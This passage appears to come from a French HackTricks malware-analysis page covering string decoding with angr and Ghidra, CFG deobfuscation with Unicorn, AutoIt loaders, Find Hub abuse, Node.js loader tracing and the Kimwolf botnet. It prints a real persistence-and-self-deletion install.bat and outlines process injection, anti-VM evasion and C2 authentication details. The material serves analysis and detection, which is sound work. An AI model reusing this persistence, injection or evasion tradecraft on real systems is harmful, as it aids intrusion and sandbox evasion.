project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- À grande échelle, construisez une carte statique des sites d’appel vers les arguments du décodeur (encoded_ptr, size). Les wrappers peuvent masquer les arguments, donc vous pouvez créer cette cartographie manuellement à partir des xrefs Ghidra si la récupération des API est bruitée.

<details>
<summary>Décoder en lot plusieurs sites d’appel avec angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternativement, utilisez pyhidra ou ghidra_bridge pour piloter l’API de Ghidra depuis le même processus CPython qui exécute angr. Cela permet d’appeler decode_string() et de définir immédiatement des PRE_COMMENTs sans fichier intermédiaire. La logique reprend le script Jython : construire la map callsite→function via ReferenceManager, décoder avec angr, puis définir les comments.

Why this works and when to use it
- L’exécution hors ligne contourne RASP/anti-debug : aucun ptrace, aucun hook Frida requis pour récupérer les strings.
- Garder Ghidra et la base_addr d’angr alignés (par ex. 0x00100000) garantit que les adresses des fonctions/données correspondent entre les outils.
- Recette reproductible pour les decoders : traiter la transformation comme une fonction pure, allouer un buffer de sortie dans un nouvel état, l’appeler avec (encoded_ptr, out_ptr, len), puis concrétiser via state.solver.eval et parser les C-strings jusqu’à \x00.

Notes and pitfalls
- Respectez l’ABI / calling convention de la cible. angr.factory.callable en choisit une selon l’arch ; si les arguments semblent décalés, spécifiez cc explicitement.
- Si le decoder attend des buffers de sortie initialisés à zéro, initialisez outbuf avec des zéros dans l’état avant l’appel.
- Pour les .so Android position-independent, fournissez toujours base_addr afin que les adresses dans angr correspondent à celles vues dans Ghidra.
- Utilisez currentProgram.getReferenceManager() pour énumérer les call-xrefs même si l’app enveloppe le decoder derrière de fins stubs.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Les familles modernes de malware abusent fortement de l’obfuscation du Control-Flow Graph (CFG) : au lieu d’un jump/call direct, elles calculent la destination à l’exécution et exécutent un `jmp rax` ou `call rax`. Un petit *dispatcher* (généralement neuf instructions) définit la cible finale selon les flags CPU `ZF`/`CF`, ce qui casse complètement la récupération statique du CFG.

La technique – présentée par le loader SLOW#TEMPEST – peut être neutralisée avec un workflow en trois étapes qui repose uniquement sur IDAPython et l’émulateur CPU Unicorn.

### 1. Localiser chaque indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Extraire le byte-code du dispatcher

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Émuler deux fois avec Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Exécutez run(code,0,0) et run(code,1,1) pour obtenir les cibles de branche false et true.

4. Patch back a direct jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Après le patch, forcez IDA à réanalyser la fonction afin que le CFG complet et la sortie Hex-Rays soient restaurés :

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Étiqueter les appels API indirects

Une fois que la vraie destination de chaque call rax est connue, vous pouvez indiquer à IDA ce que c’est afin que les types de paramètres et les noms de variables soient récupérés automatiquement :

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Avantages pratiques

• Restaure le vrai CFG → la décompilation passe de 10 lignes à des milliers.
• Active les références croisées de chaînes et les xrefs, ce qui rend la reconstruction du comportement triviale.
• Les scripts sont réutilisables : déposez-les dans n’importe quel loader protégé par la même astuce.

Loaders basés sur AutoIt : déchiffrement .a3x, camouflage en Task Scheduler et injection RAT

Ce schéma d’intrusion enchaîne un MSI signé, des loaders AutoIt compilés en .a3x, et une tâche Task Scheduler se faisant passer pour une application bénigne.

MSI → custom actions → orchestrateur AutoIt

Arbre des processus et commandes exécutées par les custom actions du MSI :

• MsiExec.exe → cmd.exe pour exécuter install.bat
• WScript.exe pour afficher une boîte de dialogue d’erreur factice

%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (dépose le loader, met en place la persistance, s’auto-nettoie):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (leurre utilisateur):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Artifacts clés et masquerade :

• Dépose AutoIt3.exe et IoKlTr.au3 dans C:\Users\Public\Music
• Copie schtasks.exe en hwpviewer.exe (se fait passer pour Hangul Word Processor viewer)
• Crée une tâche planifiée “IoKlTr” qui s’exécute toutes les 1 minute
• LNK de démarrage observé comme Smart_Web.lnk; mutex : Global\AB732E15-D8DD-87A1-7464-CE6698819E701
• Déploie des modules sous %APPDATA%\Google\Browser\ dans des sous-dossiers contenant adb ou adv, puis les lance via des helpers autoit.vbs/install.bat

Conseils de triage forensic :

• Énumération schtasks : schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
• Recherchez des copies renommées de schtasks.exe co-localisées avec le Task XML : dir /a "C:\Users\Public\Music\hwpviewer.exe"
• Chemins courants : C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
• Corrélez la création de processus : AutoIt3.exe lançant des binaires Windows légitimes (par ex., cleanmgr.exe, hncfinder.exe)

Chargeurs AutoIt et décryptage des payloads .a3x → injection

• Les modules AutoIt sont compilés avec #AutoIt3Wrapper_Outfile_type=a3x et déchiffrent des payloads intégrés avant de les injecter dans des processus légitimes.
• Familles observées : QuasarRAT (injecté dans hncfinder.exe) et RftRAT/RFTServer (injecté dans cleanmgr.exe), ainsi que des modules RemcosRAT (Remcos\RunBinary.a3x).
• Modèle de déchiffrement : dériver une clé AES via HMAC, déchiffrer le blob intégré, puis injecter le module en clair.

Schéma générique de déchiffrement (l’entrée/algorithme HMAC exact dépend de la famille) :

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Flux d’injection courant (style CreateRemoteThread) :

• CreateProcess (suspended) de l’hôte cible (p. ex. cleanmgr.exe)
• VirtualAllocEx + WriteProcessMemory avec le module/shellcode déchiffré
• CreateRemoteThread ou QueueUserAPC pour exécuter le payload

Idées de hunting

• AutoIt3.exe parented by MsiExec.exe ou WScript.exe lançant des utilitaires système
• Fichiers avec l’extension .a3x ou exécuteurs de scripts AutoIt sous des chemins publics/écrivable par l’utilisateur
• Tâches planifiées suspectes exécutant AutoIt3.exe ou des binaires non signés par Microsoft, avec des déclencheurs à la minute

Abus de prise de contrôle de compte de Android Find My Device (Find Hub)

Lors de l’intrusion Windows, les opérateurs ont utilisé des identifiants Google volés pour effacer à plusieurs reprises les appareils Android de la victime, en supprimant les notifications pendant qu’ils étendaient l’accès via le client de messagerie de bureau connecté de la victime.

Étapes de l’opérateur (depuis une session de navigateur connectée) :

• Vérifier Google Account → Security → Your devices ; suivre Find My Phone → Find Hub (https://www.google.com/android/find)
• Sélectionner l’appareil → ressaisir le mot de passe Google → lancer “Erase device” (factory reset) ; répéter pour retarder la récupération
• Optionnel : supprimer les e-mails d’alerte dans la boîte mail liée (p. ex. Naver) pour masquer les notifications de sécurité

Tracing des loaders Node.js fortement obfusqués

Les attaquants regroupent de plus en plus des loaders JavaScript dans des binaires Windows autonomes compilés avec nexe, de sorte que le runtime est livré avec le script. Le PE résultant pèse souvent 60–90 MB et s’exécute même si Node.js n’est pas installé. Lors du triage :

• Utiliser nexe_unpacker pour extraire le JavaScript embarqué du PE et l’envoyer aux outils locaux pour une comparaison statique.
• S’attendre à un mutex basé sur le disque dans %TEMP% (GachiLoader dépose un fichier aléatoire <name>.lock qui expire après environ 5 minutes). Copier le fichier vers le sandbox avant exécution permet de sauter les étapes redondantes tout en voyant encore les payloads ultérieurs.

Tracing de l’API Node.js pour contourner l’anti-analyse

Check Point’s Nodejs-Tracer hook les modules de base dans tout processus Node.js, permet de spoof les vérifications anti-VM, et préserve chaque artefact écrit par l’échantillon. Lancez les scripts obfusqués via le tracer pour garder l’instrumentation contrôlée par l’analyste dans la pile d’appels :

node -r .\tracer.js main.js

Les toggles de configuration clés dans tracer.js vous permettent de :

• Journaliser l’activité du filesystem, des child-process et HTTP (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Chaque fichier déposé — comme kidkadi.node — est copié dans le working directory avant que le malware ne le supprime.
• Remplacer les empreintes d’environnement en renvoyant des comptes RAM/CPU réalistes, en falsifiant la sortie de tasklist, et en manipulant les réponses PowerShell/WMI. Cela contourne les loaders qui exigent ≥4 GB RAM, ≥2 cores, et scrutent les user names (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …), et process names (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
• Neutraliser les contrôles matériels WMI comme Get-WmiObject Win32_DiskDrive (qui cherche vmware, kvm, virtio, …), Win32_VideoController (qui bloque “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) et les décomptes Win32_PortConnector. Quand ces sondes renvoient du matériel “réel”, les sandboxes ne tombent plus dans la boucle infinie de Invoke-WebRequest bénins vers linkedin.com, grok.com, whatsapp.com, et des domaines similaires que GachiLoader utilise pour faire perdre du temps à l’analyse.

Capturing gated C2 traffic automatically

Les hooks réseau du tracer révèlent une authentification C2 multi-couche sans avoir à reverse la minification JavaScript. Dans la campagne observée, le loader :

1. POST les données de télémétrie de l’hôte vers /log sur chaque C2 codé en dur.
2. Envoie GET /richfamily/<per-sample key> avec X-Secret: gachifamily pour récupérer une URL de payload encodée en Base64.
3. Effectue un GET final vers cette URL avec un long header X-Secret spécifique à l’échantillon ; son absence renvoie 403 Forbidden.

Comme le tracer enregistre les requêtes complètes (headers, bodies, destinations), vous pouvez rejouer le même trafic pour récupérer les payloads, dumper les shells Themida/VMProtect en mémoire, et extraire les données de configuration Rhadamanthys à grande échelle.

AdaptixC2: Configuration Extraction and TTPs

Voir la page dédiée :

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

• Des APK malveillants comme com.n2.systemservice06* embarquent un ELF ARM lié statiquement dans res/raw (par ex. R.raw.libniggakernel). Un receiver BOOT_COMPLETED s’exécute au démarrage, extrait la ressource brute vers le sandbox de l’app (par ex. /data/data/<pkg>/niggakernel), le rend exécutable et l’invoque avec su.
• Beaucoup de TV boxes/tablettes Android sont livrées avec des images pré-rootées ou un su world-writable, donc le loader démarre de façon fiable l’ELF avec l’UID 0 même sans exploit chain. La persistence est “gratuite” parce que le receiver se relance après chaque reboot ou redémarrage de l’app.
• Les reverse engineers qui cherchent ce pattern peuvent diff AndroidManifest.xml à la recherche de boot receivers cachés ainsi que du code qui référence Resources.openRawResource → FileOutputStream → Runtime.getRuntime().exec("su"). Une fois l’ELF déposé, traitez-le comme une backdoor Linux userland (Kimwolf est empaqueté UPX, stripped, linked statiquement, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

• Au démarrage, Kimwolf lie un abstract UNIX domain socket tel que @niggaboxv4/@niggaboxv5. Les sockets existants forcent la sortie, donc le nom du socket sert à la fois de mutex et d’artefact forensic.
• Le titre du process est écrasé avec des noms qui ressemblent à des services (netd_services, tv_helper, etc.) pour se fondre dans les listings de process Android. Les détections host-based peuvent alerter sur ces noms combinés au mutex socket.

Stack XOR string decoding with ARM NEON + flare_emu

• Les chaînes sensibles (domaines C2, resolvers, endpoints DoT) sont poussées sur la stack en blocs chiffrés de 8 bytes et décodées in-place via VEOR Qx, Qx, Qy (veorq_s64). Les analystes peuvent script flare_emu pour capturer le pointeur déchiffré chaque fois que le decryptor le transmet à l’appelant :

import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument

• Recherche des séquences VEOR Q8, Q8, Q9 / veorq_s64 et émulation de leurs plages pour vider en masse chaque chaîne déchiffrée, en contournant la durée de vie limitée au stack du plaintext.

Résolution DNS-over-TLS et dérivation d’IP par XOR

• Toutes les variantes de Kimwolf résolvent les domaines C2 en parlant directement DNS-over-TLS (TCP/853) avec Google (8.8.8.8) ou Cloudflare (1.1.1.1), ce qui contourne la journalisation ou le détournement du DNS en clair.
• Les bots v4 utilisent simplement l’enregistrement IPv4 A retourné. Les bots v5 traitent l’enregistrement A comme un entier 32 bits, inversent son endianess, le XOR avec la constante 0x00ce0491, puis réinversent l’endianess pour obtenir la vraie IP C2. Recette CyberChef : Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

Fallback ENS / EtherHiding

• Les versions plus récentes ajoutent un domaine ENS (pawsatyou.eth) dont la clé texte du resolver "lol" stocke une IPv6 d’apparence bénigne (fed0:5dec:...:1be7:8599).
• Le bot récupère les quatre derniers octets (1b e7 85 99), les XOR avec 0x93141715, puis interprète le résultat comme une IPv4 C2 (136.243.146.140). Mettre à jour l’enregistrement texte ENS fait pivoter instantanément les C2 en aval via la blockchain sans toucher au DNS.

Canal de commande authentifié TLS + ECDSA

• Le trafic est encapsulé dans wolfSSL avec un protocole cadencé personnalisé :

struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}

• Bootstrap: le bot envoie deux en-têtes vides MsgType=0 (register). Le C2 répond avec MsgType=1 (verify) contenant un challenge aléatoire plus une signature ASN.1 DER ECDSA. Les bots la vérifient à l’aide d’un blob SubjectPublicKeyInfo intégré ; les échecs terminent la session, empêchant des nœuds C2 détournés/sinkholed de piloter la flotte.
• Une fois vérifié, le bot envoie un corps MsgType=0 transportant la group string définie par l’opérateur (par exemple android-postboot-rt). Si le groupe est activé, le C2 répond avec MsgType=2 (confirm), après quoi le tasking (MsgType 5–12) commence.
• Les verbes pris en charge incluent le proxying TCP/UDP de type SOCKS (monétisation de residential proxy), reverse shell / exécution d’une seule commande, lecture/écriture de fichiers, et des payloads Mirai-compatible DDoSBody (même disposition AtkType, Duration, Targets[], Flags[]).

Ransomware à chiffrement partiel : nonces de stream-cipher perdus

Certaines familles de ransomware chiffrent partiellement les fichiers pour aller plus vite, mais lorsqu’elles utilisent un stream cipher indépendamment sur plusieurs chunks, chaque région chiffrée a besoin de son propre nonce/IV persistant. Si l’échantillon génère un nonce frais par chunk et écrase le même buffer de 12 octets dans la boucle, puis n’ajoute à la fin sur disque que la dernière valeur, les chunks précédents deviennent cryptographiquement irrécupérables même si l’attaquant partage ensuite la clé.

Schéma cassé typique :

for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12);                // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12);                          // only the last nonce survives

Références

• Unit42 – Évolution des tactiques de SLOW#TEMPEST : plongée approfondie dans des techniques avancées de malware
• SoTap : journalisateur de comportement JNI (.so) léger intégré à l’application – github.com/RezaArbabBot/SoTap
• Stratégies pour analyser le code natif dans les applications Android : combiner Ghidra et l’exécution symbolique pour le déchiffrement et la désobfuscation du code – revflash.medium.com
• Ghidra – github.com/NationalSecurityAgency/ghidra
• angr – angr.io
• JNI_OnLoad et API d’invocation – docs.oracle.com
• RegisterNatives – docs.oracle.com
• Tracing des fonctions JNI – valsamaras.medium.com
• Native Enrich : scripting Ghidra et Frida pour découvrir les fonctions JNI cachées – laripping.com
• Unit42 – AdaptixC2 : un nouveau framework open-source exploité dans des attaques réelles
• L’APT lié à KONNI abuse de Google Find Hub pour effacer des appareils Android après une intrusion Windows – genians.co.kr
• Android Find My Device (Find Hub) – google.com/android/find
• Analyse technique de RftRAT/RFTServer – asec.ahnlab.com
• Contexte HMAC – wikipedia.org/wiki/HMAC
• Kimwolf Android TV Botnet : évasion du C2 basée sur ENS, protocole C2 TLS+ECDSA, et opérations de proxy/DDoS à grande échelle – blog.xlab.qianxin.com
• Check Point Research – GachiLoader : vaincre le malware Node.js avec le tracing des API
• Nodejs-Tracer – GitHub
• Check Point Research – VECT : ransomware par conception, wiper par accident
• Libsodium documentation – ChaCha20 stream cipher APIs
• RFC 8439 – ChaCha20 and Poly1305 for IETF Protocols

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

• Consultez les subscription plans!
• Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
• Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.